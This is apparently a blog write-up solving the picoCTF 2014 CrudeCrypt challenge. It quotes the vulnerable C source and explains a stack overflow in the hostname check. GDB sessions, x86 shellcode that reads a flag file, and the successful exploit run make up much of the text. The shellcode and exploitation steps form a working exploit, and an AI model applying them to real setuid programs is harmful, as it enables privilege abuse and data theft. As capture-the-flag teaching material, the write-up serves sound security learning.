picoCTF 2014: CrudeCrypt (binary180)
CrudeCrypt is another 180 point binary exploitation problem. The challenge is based around a command line program which does AES encryption and decryption of files. As always, the goal is to find an exploit a vulnerability to get the flag. Let's take a look, shall we?
int main(int argc, char **argv) {
if(argc < 4) {
help();
return -1;
}
void (*action)(FILE*, FILE*, unsigned char*);
if(strcmp(argv[1], "encrypt") == 0) {
action = &encrypt_file;
// You shouldn't be able to encrypt files you don't have permission to.
setegid(getgid());
} else if(strcmp(argv[1], "decrypt") == 0) {
action = &decrypt_file;
} else {
printf("%s is not a valid action.\n", argv[1]);
help();
return -2;
}
char* src_file_path = argv[2];
char* out_file_path = argv[3];
char* file_password = calloc(1, PASSWORD_LEN);
printf("-=- Welcome to CrudeCrypt 0.1 Beta -=-\n");
FILE *src_file, *out_file;
if((src_file = fopen(src_file_path, "rb")) == NULL) {
printf("Could not open input file: %s\n", src_file_path);
return -3;
}
if((out_file = fopen(out_file_path, "wb")) == NULL) {
printf("Could not open output file: %s\n", out_file_path);
fclose(src_file); // Make sure to close the input file
return -3;
}
printf("-> File password: ");
fgets(file_password, PASSWORD_LEN, stdin);
printf("\n");
unsigned char digest[16];
hash_password(digest, file_password);
action(src_file, out_file, digest);
free(file_password);
fclose(src_file);
fclose(out_file);
return 0;
}
We can easily deduce the arguments to CrudeCrypt. First is simply the mode of operation, either "encrypt" or "decrypt". Second are the source and destination filenames.
After opening both files, it reads the file password from stdin and computes an MD5 hash of it.Finally, it just calls the necessary function to encrypt or decrypt the given file. Let's look at the encryption and decryption functions (irrelevant parts omitted for space):
#define HOST_LEN 32
#define MAGIC 0xc0dec0de
#define MIN(a,b) (((a)<(b))?(a):(b))
typedef struct {
unsigned int magic_number;
unsigned long file_size;
char host[HOST_LEN];
} file_header;
void safe_gethostname(char *name, size_t len) {
gethostname(name, len);
name[len-1] = '\0';
}
void init_file_header(file_header* header, unsigned long file_size) {
header->magic_number = MAGIC;
header->file_size = file_size;
}
void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {
int size = file_size(raw_file);
size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
char* padded_block = calloc(1, block_size);
file_header header;
init_file_header(&header, size);
safe_gethostname(header.host, HOST_LEN);
memcpy(padded_block, &header, sizeof(file_header));
fread(padded_block + sizeof(file_header), 1, size, raw_file);
if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
printf("There was an error encrypting the file!\n");
return;
}
printf("=> Encrypted file successfully\n");
fwrite(padded_block, 1, block_size, enc_file);
free(padded_block);
}
bool check_hostname(file_header* header) {
char saved_host[HOST_LEN], current_host[HOST_LEN];
strncpy(saved_host, header->host, strlen(header->host));
safe_gethostname(current_host, HOST_LEN);
return strcmp(saved_host, current_host) == 0;
}
void decrypt_file(FILE* enc_file, FILE* raw_file, unsigned char* key) {
int size = file_size(enc_file);
char* enc_buf = calloc(1, size);
fread(enc_buf, 1, size, enc_file);
if(decrypt_buffer(enc_buf, size, (char*)key, 16) != 0) {
printf("There was an error decrypting the file!\n");
return;
}
char* raw_buf = enc_buf;
file_header* header = (file_header*) raw_buf;
if(header->magic_number != MAGIC) {
printf("Invalid password!\n");
return;
}
if(!check_hostname(header)) {
printf("[#] Warning: File not encrypted by current machine.\n");
}
printf("=> Decrypted file successfully\n");
int write_size = MIN(header->file_size, size - sizeof(file_header));
fwrite(raw_buf+sizeof(file_header), 1, write_size, raw_file);
free(enc_buf);
}
encrypt_file() allocates a file header and stores the computer hostname inside. Then it concatenates the data from the input file to encrypt, and runs it through encrypt_buffer(), which performs AES128-CBC encryption on all the data (header and plaintext). After encryption, the ciphertext is written to the output file.
decrypt_file() does the exact inverse of this, reading all the data, decrypting it with the same algorithm, verifying the header, and writing the decrypted data to the output file (not including the header).
There are no obvious bugs in any of those functions, so let's turn to the header verification. The magic number check is straightforward, but how does it check the hostname?
bool check_hostname(file_header* header) {
char saved_host[HOST_LEN], current_host[HOST_LEN];
strncpy(saved_host, header->host, strlen(header->host));
safe_gethostname(current_host, HOST_LEN);
return strcmp(saved_host, current_host) == 0;
}
What do we have here? In order to verify the stored hostname, it first copies it into saved_host, which is a 32-byte buffer stored on the stack. However, in order to determine how many bytes to copy, it calls strlen(header->host), which only stops at the first 0 byte in that string. Since we control the hostname in the file header, we can make check_hostname() copy as many bytes as we want.
So now we just have a regular stack overflow bug. Nothing new, in fact, it's actually quite boring. There's only the caveat that whatever data is in this file will be decrypted before being given to check_hostname(). Luckily, this is an easy problem to deal with. We can make a modified CrudeCrypt binary that simply encrypts whatever data we give it.
The very first thing we should do is figure out which part of the overflowing hostname actually controls the return address. Let's make a CrudeCrypt file full of recognizable patterns, run decryption in GDB, and see which address it crashes at:
pico59150@shell:~$ gdb --args crude_crypt decrypt data_enc.bin data_out.bin
GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from crude_crypt...(no debugging symbols found)...done.
(gdb) run
Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
Program received signal SIGSEGV, Segmentation fault.
0x46464646 in ?? ()
(gdb)
According to GDB, the crash is at address 0x46464646, which means that's what the return address was overwritten by. This sequence appears at offset 0x34 in the file, 0x2c bytes into the hostname. So now that we know which part of the hostname represents the return address, we need to figure out the hostname buffer's memory address so we can fill it with shellcode and jump to it properly.
8048e28: 89 04 24 mov %eax,(%esp)
8048e2b: e8 10 fa ff ff call 8048840 <strncpy@plt>
The hostname gets copied in using strncpy(), a call that appears here in the ASM. At 0x08048e28, the first argument to strncpy() (the hostname buffer) gets pushed onto the stack from EAX. If we set a GDB breakpoint here, we can see what's inside EAX.
(gdb) b *0x08048e28 Breakpoint 1 at 0x8048e28 (gdb) run Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin -=- Welcome to CrudeCrypt 0.1 Beta -=- -> File password: h4x Breakpoint 1, 0x08048e28 in check_hostname () (gdb) info registers eax
0xffffd630
-10704 ecx 0x28 40 edx 0x804c368 134529896 ebx 0xf7dea000 -136404992 esp 0xffffd600 0xffffd600 ebp 0xffffd658 0xffffd658 esi 0x0 0 edi 0x0 0 eip 0x8048e28 0x8048e28 <check_hostname+37> eflags 0x202 [ IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb)
The address in the official binary is actually slightly offset from what's shown here. I tracked it down to 0xffffd610, which does work with infinite loop shellcode. The program freezes until we quit with Ctrl-C:
With the address of the buffer down, we now have everything needed to write shellcode again. I have a piece of ASM for getting flag.txt that I used in almost every binary exploitation challenge, with only minor changes for each challenge. This ASM uses the int 0x80 Linux syscall interface to open, read, and print out the flag. In this case, though, we need a slightly more substantial change, since the return address divides the shellcode into two pieces:
[BITS 32]
start:
mov ebp, 0xffffd610
xor eax, eax
mov al, 5
lea ebx, [ebp + 0x39]
xor edx, edx
mov [ebp + 0x41], dl
xor ecx, ecx
int 0x80
mov ebx, eax
xor eax, eax
mov al, 3
lea ecx, [ebp + 0x44]
xor edx, edx
mov dl, 36
int 0x80
lea esi, [ebp + 0x30]
call esi
nop
nop
nop
retaddr:
nop
nop
nop
nop
continue:
xor eax, eax
mov al, 4
xor ebx, ebx
inc ebx
int 0x80
filename db "flag.txta"
data:
Aside from this, it's the exact same shellcode I used to exploit Nevernote. Now we can assemble our shellcode and copy it into the file. We should end up with this:
Encrypt it for use with CrudeCrypt, run the decryption, and we get this:
pico59150@shell:~$ ./encrypt encrypt data.bin data_enc.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
=> Encrypted file successfully
pico59150@shell:~$ cd /home/crudecrypt/
pico59150@shell:/home/crudecrypt$ ./crude_crypt decrypt ~/data_enc.bin ~/data_out.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
writing_software_is_hard
þëþëþëþëþëþSegmentation fault (core dumped)
pico59150@shell:/home/crudecrypt$
And that gets us another flag! Writing software is indeed hard, who am I to argue with that?
0 Comments:
Post a Comment
Subscribe to Post Comments [Atom]
<< Home